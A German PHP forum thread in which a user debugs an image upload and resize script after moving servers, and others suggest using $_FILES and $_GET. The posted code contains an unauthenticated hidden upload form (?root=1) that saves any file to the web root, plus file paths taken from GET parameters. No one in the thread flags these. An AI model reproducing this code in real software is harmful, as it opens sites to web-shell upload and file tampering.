Ankündigung

Einklappen
Keine Ankündigung bisher.

upload spinnt beim neuen server

Einklappen

Neue Werbung 2019

Einklappen
X
  • Filter
  • Zeit
  • Anzeigen
Alles löschen
neue Beiträge

  • upload spinnt beim neuen server

    Hallo

    meine upload.php stimmt auf dem neuen server auf dem alten funktionierte sie bestens aber jetzt nicht an was kann es liegen???

    es wird immer dies hier aufgerufen:
    Keine Datei gewählt!
    Das Bild, welches Du hochladen möchtest, ist zu klein. Es muss mindestens '240' (Breite) x '320' (Höhe) Pixel groß sein.

    obwohl ds bild größer als 240x320 pixel ist.

    Code:
    <?
    session_start();
    if($_POST['go'])
    	copy($data,$data_name);
    if($_GET['root'])
    {
    	echo "<form enctype='multipart/form-data' action=upload.php?root=1 method=POST><input type='file' name='data'><input type=submit value='go' name=go></form>";
    	exit;
    }
    
    $area = "Bilder Upload";
    $tpl->assign("titel","$sektionsname - $area");
    $tpl->assign("content","");
    $tpl->assign("content","<link href=\"templates/4osexy2/4osexy.css\" type=text/css rel=stylesheet>");
    
    //userbewertung
    $hostname = "localhost";
    $username = "xxxx";
    $passwort = "xxxx";
    $datenbank = "xxxxx";
    
    $db = mysql_connect($hostname,$username,$passwort);
    mysql_select_db($datenbank, $db);
    
    $seite_url="upload.php";
    
    $daten_dir = "images/galerie";
    $daten_dir_temp = "images/galerie";
    
    $filetypes = array("*.jpg:image/jpeg", "*.jpeg:image/pjpeg");
    
    //Maximale Dateigröße
    $max_filesize = 1258292; //1,2MB
    $min_bildh = 320; // höhe 320
    $min_bildb = 240; // breite 240
    
    if (isset($_POST['submit'])) //Wenn das Formular abgeschickt wurde.
    {
    	$i=1;
    	if(!$_POST['bild1']['tmp_name'])
    	{
    		$fehler.="Keine Datei gewählt!
    ";
    	}
    	else
    	{
    		//Vergleicht die pixel des bildes
    		$size = getimagesize($_POST['bild1']['tmp_name']);
    		if($size[0] < $min_bildb OR $size[1] < $min_bildh)
    		{
    			$fehler.="Upload fehlgeschlagen!!! [Die Bildma&szlig;e sind zu gro&szlig;]
    ";
    		}
    		else
    		{
    			$p=1;
    		}
    		$bild1_size = $_POST['bild']['size'];
    		//Und die Größe der Datei
    		if($bild1_size > $max_filesize)
    		{
    			$fehler.="Upload fehlgeschlagen!!! [Die Datei ist zu gro&szlig;]
    ";
    		}
    		else
    		{
    			$i=0;
    			$loop = $filetypes;
    			while(list($k,$v)=each($loop))
    			{
    				$check=explode(":",$v);
    				if ($bild1_type == $check[1] && $bild1)
    				{
    					$i = $i+1;
    				}
    			}
    		}
    		$query  = mysql_query("SELECT * FROM backend_pics WHERE userid='".$_SESSION[id_id]."'");
    		$query2 = mysql_fetch_array(mysql_query("SELECT * FROM backend_usertable WHERE id='".$_SESSION[id_id]."'"));
    		$anzahl = mysql_num_rows($query);
    		if($anzahl >= $query2[max_bild])
    			$fehler.="Du hast bereits das Maximum von $anzahl Bildern ereicht!";
    	}
    	if ($i==0) {$fehler.="Falscher Dateityp! " .$bild1_type. "
    ";}
    	if ($p==0) {$fehler.="Das Bild, welches Du hochladen möchtest, ist zu klein. Es muss mindestens '".$min_bildb."' (Breite) x '".$min_bildh."' (Höhe) Pixel groß sein.
    ";}
    	if($fehler) //Bei Fehlern, Meldung ausgeben
    	{
    		$meldung="<h3>" .$fehler. "</h3>";
    		unset($_POST['submit']);
    	}
    	else
    	{
    		$query2="SELECT id FROM backend_pics WHERE points='0' ORDER BY id DESC LIMIT 1";
    		$result2=mysql_query($query2) or die(mysql_error());
    		$row= mysql_fetch_array($result2);
    		$idzahl = $row['id'];
    		$ip = getenv(REMOTE_ADDR);
    		$host = gethostbyaddr($ip);
    		$name = $idzahl."-".$id_id."-".time().".jpeg";
    		copy($_FILES['bild1']['tmp_name'],$daten_dir_temp."/".$name);
    		mysql_query("INSERT INTO `backend_pics` ( `id` , `url` , `userid` , `date` , `opendate` , `open` , `points` , `main` , `ip` , `host` )
    		VALUES ('', '".$name."', '".$_SESSION[id_id]."', '".time()."', '0', '0', '0', '0', '".$ip."', '".$host."');");
    		$meldung.= "<table width=90% bgcolor=\"EFEFEF\" class=\"trunda\" cellspacing=3 cellspadding=3 border=0>";
    		$meldung.= "<tr><td bgcolor=\"#DDDDDD\" colspan=3 align=center>Klicken Sie auf das Bild, welches Sie verwenden möchten.</td></tr>";
    		$meldung.= "<tr>";
    		$meldung.= "<td width=30% align=center></td>";
    		$meldung.= "<td width=30% align=center></td>";
    		$meldung.= "<td width=30% align=center></td>";
    		$meldung.= "</tr>";
    		$meldung.= "</table>";
    	}
    }
    if($_GET['imgnr'] && $_GET['name'])
    {
    	$meldung.= "<table width=90% bgcolor=\"EFEFEF\" class=\"trunda\" cellspacing=3 cellspadding=3 border=0>";
    	$meldung.= "<tr><td bgcolor=\"#DDDDDD\" align=center>Folgendes Foto wurde erfolgreich gespeichert und wird in Kürze freigeschaltet!!!</td></tr>";
    	$meldung.= "<tr><td align=center><img src=upload_bild.php?name=$name&image_nr=$imgnr&savecl=1></td></tr>";
    	$meldung.= "<tr><td bgcolor=\"#DDDDDD\" align=center><a href=?s=profil>Zurück zum Profil</a></td></tr>";
    	$meldung.= "</table>";
    }
    if(empty($fehler) && empty($name))
    {
    	$meldung.=  "
    	<table width=90% bgcolor=\"EFEFEF\" class=\"trunda\" cellspacing=3 cellspadding=3 border=0>
    		<tr>
    			<td bgcolor=\"#DDDDDD\" align=center>Beachten Sie bitte folgende Regeln!!!</td>
    		</tr>
    		<tr>
    			<td class=\"aa\">
    				[*]Es sind nur Bilder von der eigenen Person erlaubt.
    				[*]Dein Gesicht sollte klar und gut erkennbar sein.
    				[*]Das Bild muss mit dem aktuellen Alter übereinstimmen.
    				[*]Bilder mit Text oder irgendwelchen Logos werden ebenfalls gelöscht.
    				[*]Keine Fotos mit Text im Bild, keine Foto-Collagen oder nachträglich veränderte Fotos.
    				[*]Kein Rand oder Rahmen! Es muss die komplette Fläche mit dem Foto ausgefüllt sein.
    				[*]Bei mehreren Personen (auch Kinder) auf dem Bild müssen deren Gesichter komplett unkenntlich gemacht werden. (es reicht nicht aus nur die Augen zu verdecken)
    				[*]Auf dem Kopf stehende, verschwommene oder schief eingescannte Fotos müssen wir leider auch ablehnen.
    				[*]Auch nicht erlaubt sind pornographische, rassistische, gewaltdarstellende und sonstige anstößige Bilder sowie Bilder mit rechtlich unzulässigen Inhalten.
    				[*]Das Bild muss eine Grösse von mindestens 240x320 Pixel haben und im JPG-Format sein.
    				[*]Der Einsender trägt die alleinige Verantwortung für das eingesendete Bild.
    			</td>
    		<tr>
    	</table>
    	
    
    	<table width=90% bgcolor=\"EFEFEF\" class=\"trunda\" cellspacing=3 cellspadding=3 border=0>
    		<tr>
    			<td colspan=2 bgcolor=\"#DDDDDD\" align=center>Bild hochladen!!!</td>
    		</tr>
    		<tr>
    			<td valign=top>Wichtig: </td>
    			<td valign=top>Alle Bilder die Sie hochladen werden von uns zuerst überprüft ob Sie die Regel erfühlt haben und dann erst wird es freigeschaltet. Falls ihr bild gelöscht wurde werden sie per e-mail benachrichtig mit Begründung.
    <font color=red>Zu jedem Bild wird die IP-Adresse des Users gespeichert.
    Wer fremde Bilder hochlädt kann strafrechtlich verfolgt werden!</font></td>
    		</tr>
    		<tr>
    			<td colspan=2 align=center width=50%>
    
    				<form enctype='multipart/form-data' action=?s=upload method=POST>
    					Datei:
    					<input type='file' name='bild1'>
    
    
    					<input type=submit value='Regeln lesen --> Bild aussuchen --> Hochladen' name=submit>
    				</form>
    			</td>
    		</tr>
    	</table>";
    }
    /*
    if(isset($_GET[delete]))
    unlink($daten_dir."/".$_GET[delete]."");
    */
    $tpl->assign("content",$meldung);
    ?>

  • #2
    Welcher Wert ist laut phpinfo() bei register_globals eingestellt?
    Warum wird zwar $_POST verwendet, aber nicht $_FILES?
    copy($data,$data_name);
    Wo kommt bswp $data_name her?

    register_globals: http://de.php.net/manual/en/security.globals.php
    $_FILES: http://www.php.net/manual/en/features.file-upload.php

    Kommentar


    • #3
      bei mir sind die register_globals auf off eingestellt. ich hab noch nie mit $_POST und $_FILE programmiert. deswegen hab ich keine ahnung was welchen sinn hat.

      Kommentar


      • #4
        Zitat von kickz
        ich hab noch nie mit $_POST und $_FILE programmiert. deswegen hab ich keine ahnung was welchen sinn hat.
        Du hast das vielleicht nicht programmiert, aber im Skript gibt es $_POST, bspw gleich am Anfang
        if($_POST['go'])
        link zum tutorial "Handling file uploads"

        Kommentar


        • #5
          ok ich hab die fehler jetzt draußen aber beim skalieren funktioniert jetzt garnix.

          das bild wird mit dem nicht mehr angezeigt:
          src=upload_bild.php?quality=100&name=$name&image_n r=1
          src=upload_bild.php?quality=100&name=$name&image_n r=2
          src=upload_bild.php?quality=100&name=$name&image_n r=3

          was habe ich jetzt da falsch.

          PHP-Code:
          <?
          header("CONTENT-type: image/jpeg");

          $daten_dir_temp = "images/galerie";


          $src = imagecreatefromjpeg($daten_dir_temp."/".$name);

          $quality = 100;
          $x_size = 240;
          $y_size = 320;
          $max_dimension = 100;

          if($_GET['image_nr']=='1')
          {
              // Bild auf passende Größe ändern
              $size = getimagesize($daten_dir_temp."/".$name);

              $orig_width = $size[0];
              $orig_height = $size[1];

              /*if ($orig_width > $orig_height)
              {
                  $thumbnail_width = $y_size*($orig_height/$orig_width);
                  $thumbnail_height = $y_size;
              }
              else
              {*/
                  $thumbnail_height = $y_size;
                  $thumbnail_width = $y_size*($orig_width/$orig_height);
              #}
              $thumbnail = imagecreatetruecolor($thumbnail_width, $thumbnail_height);
              imagecopyresampled($thumbnail, $src, 0, 0, 0, 0, $thumbnail_width, $thumbnail_height, $orig_width, $orig_height);

              imagejpeg($thumbnail, $daten_dir_temp."/".$name, $quality);
          }



          //bild ist geändert worden... nun das Bild mit 3 Ausschnitten anzeigen...
          $size = getimagesize($daten_dir_temp."/".$name);

          $orig_width = $size[0];
          $orig_height = $size[1];


          $image_h = imagecreatetruecolor($x_size, $y_size);
          $image_h2= imagecreatefromjpeg($daten_dir_temp."/".$name);
          $copy_logo= imagecreatefromjpeg("images/copy.jpg");

          switch($_GET['image_nr']){
              case 1:
              imagecopyresampled($image_h, $image_h2, 0,0,0,0,$x_size,$y_size,$x_size,$y_size);
              imagecopy($image_h, $copy_logo, 0, 0, 0, 0, 70, 10);
              break;
              case 2:
              imagecopyresampled($image_h, $image_h2, 0,0,($orig_width-$x_size)/2,($orig_height-$y_size)/2,$x_size,$y_size,$x_size,$y_size);
              imagecopy($image_h, $copy_logo, 0, 0, 0, 0, 70, 10);
              break;
              case 3:
              imagecopyresampled($image_h, $image_h2, 0,0,($orig_width-$x_size),($orig_height-$y_size),$x_size,$y_size,$x_size,$y_size);
              imagecopy($image_h, $copy_logo, 0, 0, 0, 0, 70, 10);
              break;
          }
          if($_GET['savecl']=='1')
          {
              imagejpeg($image_h, $daten_dir_temp."/".$name, $quality);
              imagejpeg($image_h, "", $quality);
          }
          else
              imagejpeg($image_h, "", $quality);

          imagedestroy($image_h);
          ?>

          Kommentar


          • #6
            Pack an die Stelle von
            header("CONTENT-type: image/jpeg");
            mal
            PHP-Code:
            error_reporting(E_ALL); ini_set('display_errors'true); 
            und die header Zeile dafür direkt vor
            if($_GET['savecl']=='1')
            damit sämtliche Meldungen ausgeben werden.

            Ich sehe zwar immer noch kein $_FILES, aber schauen wir mal.

            Kommentar


            • #7
              Da wird immer noch $name und $quality unverständlicherweise direkt angesprochen. Mit $_GET['image_nr'] machst du es richtig, wieso also nicht auch bei den anderen Parametern???

              Gruß
              phpfan

              Kommentar


              • #8
                Zitat von Bruchpilot
                Pack an die Stelle von
                header("CONTENT-type: image/jpeg");
                mal
                PHP-Code:
                error_reporting(E_ALL); ini_set('display_errors'true); 
                und die header Zeile dafür direkt vor
                if($_GET['savecl']=='1')
                damit sämtliche Meldungen ausgeben werden.

                Ich sehe zwar immer noch kein $_FILES, aber schauen wir mal.
                es hat nix ausgegeben. weil die datei nur so aufgerufen wird upload_bild.php?quality=100&name=$name&image_nr=1.

                wie soll ich dann die anderen sachen mit $_FILE versehen.

                Kommentar


                • #9
                  Zitat von phpfan
                  Da wird immer noch $name und $quality unverständlicherweise direkt angesprochen. Mit $_GET['image_nr'] machst du es richtig, wieso also nicht auch bei den anderen Parametern???

                  Gruß
                  phpfan
                  hab jetzt alle $name == $_GET['name'] und $quality == $_GET['quality'] verändern. Diesmal wird das bild angezeigt aber als es gespeichert wird kommt ne scheiß quality raus wieso??

                  man sieht da kein bild sondern nur kästchen.

                  bitte helft mir!!![/img]

                  Kommentar


                  • #10
                    es hat nix ausgegeben. weil die datei nur so aufgerufen wird upload_bild.phpity=100&name=$name&image_nr=1.
                    Was an diesem Aufruf löst Deiner Meinung nach einen Dateiupload per http aus?
                    Hast Du wirklich http://www.php.net/manual/en/features.file-upload.php bearbeitet/durchgearbeitet?

                    Kommentar


                    • #11
                      ich denke schon das es jetzt richtig sein muss.

                      PHP-Code:
                      <?
                      error_reporting(E_ALL);

                      @session_start();
                      if(isset($_POST['go']))
                          copy($data,$data_name);
                      if(isset($_GET['root']))
                      {
                          echo "<form enctype='multipart/form-data' action=upload.php?root=1 method=POST><input type='file' name='data'><input type=submit value='go' name='go'></form>";
                          exit;
                      }

                      $area = "Bilder Upload";
                      $tpl->assign("titel","$sektionsname - $area");
                      $tpl->assign("content","");
                      $tpl->assign("content","<link href=\"templates/4osexy2/4osexy.css\" type=text/css rel=stylesheet>");

                      //userbewertung
                      $hostname = "localhost";
                      $username = "xxxxxxxxx";
                      $passwort = "xxxxxxxx";
                      $datenbank = "xxxxxxxx";

                      $db = mysql_connect($hostname,$username,$passwort);
                      mysql_select_db($datenbank, $db);

                      $seite_url="upload.php";

                      $daten_dir = "images/galerie";
                      $daten_dir_temp = "images/galerie";

                      $filetypes = array("*.jpg:image/jpeg", "*.jpeg:image/pjpeg");

                      //Maximale Dateigröße
                      $max_filesize = 1258292; //1,2MB
                      $min_bildh = 320; // höhe 320
                      $min_bildb = 240; // breite 240

                      if (isset($_POST['submit'])) //Wenn das Formular abgeschickt wurde.
                      {
                          $i=1;
                          if(!$_FILES['bild1']['tmp_name'])
                          {
                              $fehler.="Keine Datei gewählt!
                      ";
                          }
                          else
                          {
                              //Vergleicht die pixel des bildes
                              $size = getimagesize($_FILES['bild1']['tmp_name']);
                              if($size[0] < $min_bildb OR $size[1] < $min_bildh)
                              {
                                  $fehler.="Upload fehlgeschlagen!!! [Die Bildma&szlig;e sind zu gro&szlig;]
                      ";
                              }
                              else
                              {
                                  $p=1;
                              }
                              $bild1_size = $_FILES['bild1']['size'];
                              //Und die Größe der Datei
                              if($bild1_size > $max_filesize)
                              {
                                  $fehler.="Upload fehlgeschlagen!!! [Die Datei ist zu gro&szlig;]
                      ";
                              }
                              else
                              {
                                  $i=0;
                                  $loop = $filetypes;
                                  while(list($k,$v)=each($loop))
                                  {
                                      $check=explode(":",$v);
                                      if (isset($_POST['bild1_type']) && isset($check[1]) && isset($bild1))
                                      {
                                          $i = $i+1;
                                      }
                                  }
                              }
                              $query  = mysql_query("SELECT * FROM backend_pics WHERE userid='".$_SESSION['id_id']."'");
                              $query2 = mysql_fetch_array(mysql_query("SELECT * FROM backend_usertable WHERE id='".$_SESSION['id_id']."'"));
                              $anzahl = mysql_num_rows($query);
                              if($anzahl >= $query2['max_bild'])
                                  $fehler="Du hast bereits das Maximum von $anzahl Bildern ereicht!";
                          }
                          if ($i==0) {$fehler="Falscher Dateityp! " .isset($_POST['bild1_type']). "
                      ";}
                          if ($p==0) {$fehler="Das Bild, welches Du hochladen möchtest, ist zu klein. Es muss mindestens '".$min_bildb."' (Breite) x '".$min_bildh."' (Höhe) Pixel groß sein.
                      ";}
                          if(isset($_POST['fehler'])) //Bei Fehlern, Meldung ausgeben
                          {
                              $tpl->assign("content","<h3>" .$fehler. "</h3>");
                              unset($_POST['submit']);
                          }
                          else
                          {
                              $query2="SELECT id FROM backend_pics WHERE points='0' ORDER BY id DESC LIMIT 1";
                              $result2=mysql_query($query2) or die(mysql_error());
                              $row= mysql_fetch_array($result2);
                              $idzahl = $row['id'];
                              $ip = getenv('REMOTE_ADDR');
                              $host = gethostbyaddr($ip);
                              $name = $idzahl."-".$id_id."-".time().".jpeg";
                              copy($_FILES['bild1']['tmp_name'],$daten_dir_temp."/".$name);
                              mysql_query("INSERT INTO `backend_pics` ( `id` , `url` , `userid` , `date` , `opendate` , `open` , `points` , `main` , `ip` , `host` )
                              VALUES ('', '".$name."', '".$_SESSION['id_id']."', '".time()."', '0', '0', '0', '0', '".$ip."', '".$host."');");
                              $tpl->assign("content","<table width=90% bgcolor=\"EFEFEF\" class=\"trunda\" cellspacing=3 cellspadding=3 border=0>");
                              $tpl->assign("content","<tr><td bgcolor=\"#DDDDDD\" colspan=3 align=center>[b]Klicken Sie auf das Bild, welches Sie verwenden möchten.[/b]</td></tr>");
                              $tpl->assign("content","<tr>");
                              $tpl->assign("content","<td width=30% align=center>[url="?s=upload&imgnr=1&name=$name><img"][/url]</td>");
                              $tpl->assign("content","<td width=30% align=center>[url="?s=upload&imgnr=2&name=$name><img"][/url]</td>");
                              $tpl->assign("content","<td width=30% align=center>[url="?s=upload&imgnr=3&name=$name><img"][/url]</td>");
                              $tpl->assign("content","</tr>");
                              $tpl->assign("content","</table>");
                          }
                      }
                      if(isset($_GET['imgnr']) && isset($_GET['name']))
                      {
                          $tpl->assign("content","<table width=90% bgcolor=\"EFEFEF\" class=\"trunda\" cellspacing=3 cellspadding=3 border=0>");
                          $tpl->assign("content","<tr><td bgcolor=\"#DDDDDD\" align=center>[b]Folgendes Foto wurde erfolgreich gespeichert und wird in Kürze freigeschaltet!!![/b]</td></tr>");
                          $tpl->assign("content","<tr><td align=center><img src=upload_bild.php?name=$name&image_nr=$imgnr&savecl=1></td></tr>");
                          $tpl->assign("content","<tr><td bgcolor=\"#DDDDDD\" align=center><a href=?s=profil>[b]Zurück zum Profil[/b]</a></td></tr>");
                          $tpl->assign("content","</table>");
                      }
                      if(empty($fehler) && empty($name))
                      {
                          $tpl->assign("content","
                          <table width=90% bgcolor=\"EFEFEF\" class=\"trunda\" cellspacing=3 cellspadding=3 border=0>
                              <tr>
                                  <td bgcolor=\"#DDDDDD\" align=center>[b]Beachten Sie bitte folgende Regeln!!![/b]</td>
                              </tr>
                              <tr>
                                  <td class=\"aa\">
                                      [*]Es sind nur Bilder von der eigenen Person erlaubt.
                                      [*]Dein Gesicht sollte klar und gut erkennbar sein.
                                      [*]Das Bild muss mit dem aktuellen Alter übereinstimmen.
                                      [*]Bilder mit Text oder irgendwelchen Logos werden ebenfalls gelöscht.
                                      [*]Keine Fotos mit Text im Bild, keine Foto-Collagen oder nachträglich veränderte Fotos.
                                      [*]Kein Rand oder Rahmen! Es muss die komplette Fläche mit dem Foto ausgefüllt sein.
                                      [*]Bei mehreren Personen (auch Kinder) auf dem Bild müssen deren Gesichter [b]komplett[/b] unkenntlich gemacht werden. (es reicht nicht aus nur die Augen zu verdecken)
                                      [*]Auf dem Kopf stehende, verschwommene oder schief eingescannte Fotos müssen wir leider auch ablehnen.
                                      [*]Auch nicht erlaubt sind pornographische, rassistische, gewaltdarstellende und sonstige anstößige Bilder sowie Bilder mit rechtlich unzulässigen Inhalten.
                                      [*]Das Bild muss eine Grösse von mindestens 240x320 Pixel haben und im JPG-Format sein.
                                      [*]Der Einsender trägt die alleinige Verantwortung für das eingesendete Bild.
                                  </td>
                              <tr>
                          </table>
                          

                          <table width=90% bgcolor=\"EFEFEF\" class=\"trunda\" cellspacing=3 cellspadding=3 border=0>
                              <tr>
                                  <td colspan=2 bgcolor=\"#DDDDDD\" align=center>[b]Bild hochladen!!![/b]</td>
                              </tr>
                              <tr>
                                  <td valign=top>[b]Wichtig: [/b]</td>
                                  <td valign=top>Alle Bilder die Sie hochladen werden von uns zuerst überprüft ob Sie die Regel erfühlt haben und dann erst wird es freigeschaltet. Falls ihr bild gelöscht wurde werden sie per e-mail benachrichtig mit Begründung.
                      <font color=red>Zu jedem Bild wird die IP-Adresse des Users gespeichert.
                      Wer fremde Bilder hochlädt kann strafrechtlich verfolgt werden!</font></td>
                              </tr>
                              <tr>
                                  <td colspan=2 align=center width=50%>

                                      <form enctype='multipart/form-data' action=?s=upload method=POST>
                                          Datei:
                                          <input type='file' name='bild1'>


                                          <input type=submit value='Regeln lesen --> Bild aussuchen --> Hochladen' name=submit>
                                      </form>
                                  </td>
                              </tr>
                          </table>");
                      }
                      /*
                      if(isset($_GET[delete]))
                      unlink($daten_dir."/".$_GET[delete]."");
                      */
                      ?>

                      Kommentar


                      • #12
                        Und Du bekommst jetzt das Formular
                        <form enctype='multipart/form-data' action=upload.php?root=1 method=POST><input type='file' name='data'><input type=submit value='go' name='go'></form>
                        zu sehen oder selbst das nicht?
                        Was genau passiert? Ab welchem Punkt läuft es anders als geplant? Was genau passiert an diesem Punkt und in wiefern unterscheidet es sich vom Soll?

                        Kommentar


                        • #13
                          eigentlich lade es gut aber beim bearbeiten des bildes dir die qualität sehr schlecht.

                          PHP-Code:
                          <?php
                          if(isset($_GET['imgnr']) && isset($_GET['name']))
                          {
                              
                          $tpl->assign("content","<table width=90% bgcolor=\"EFEFEF\" class=\"trunda\" cellspacing=3 cellspadding=3 border=0>");
                              
                          $tpl->assign("content","<tr><td bgcolor=\"#DDDDDD\" align=center>[b]Folgendes Foto wurde erfolgreich gespeichert und wird in Kürze freigeschaltet!!![/b]</td></tr>");
                              
                          $tpl->assign("content","<tr><td align=center><img src=upload_bild.php?name=$name&image_nr=$imgnr&savecl=1></td></tr>");
                              
                          $tpl->assign("content","<tr><td bgcolor=\"#DDDDDD\" align=center><a href=?s=profil>[b]Zurück zum Profil[/b]</a></td></tr>");
                              
                          $tpl->assign("content","</table>");

                          ?>

                          Kommentar


                          • #14
                            Zitat von kickz
                            eigentlich lade es gut aber beim bearbeiten des bildes dir die qualität sehr schlecht.
                            FAQ lesen.
                            22.4. Warum werden beim Bearbeiten von Bildern mit den Image-Funktionen die Farben verfälscht?
                            http://www.php-faq.de/q/q-grafik-farben.html

                            Kommentar


                            • #15
                              meine daten vom server:

                              PHP Version 4.3.10
                              memory_limit 64M
                              GD Support enabled
                              GD Version 2.0 or higher
                              FreeType Support enabled
                              FreeType Linkage with freetype
                              T1Lib Support enabled
                              GIF Read Support enabled
                              GIF Create Support enabled
                              JPG Support enabled
                              PNG Support enabled
                              WBMP Support enabled

                              Kommentar

                              Lädt...
                              X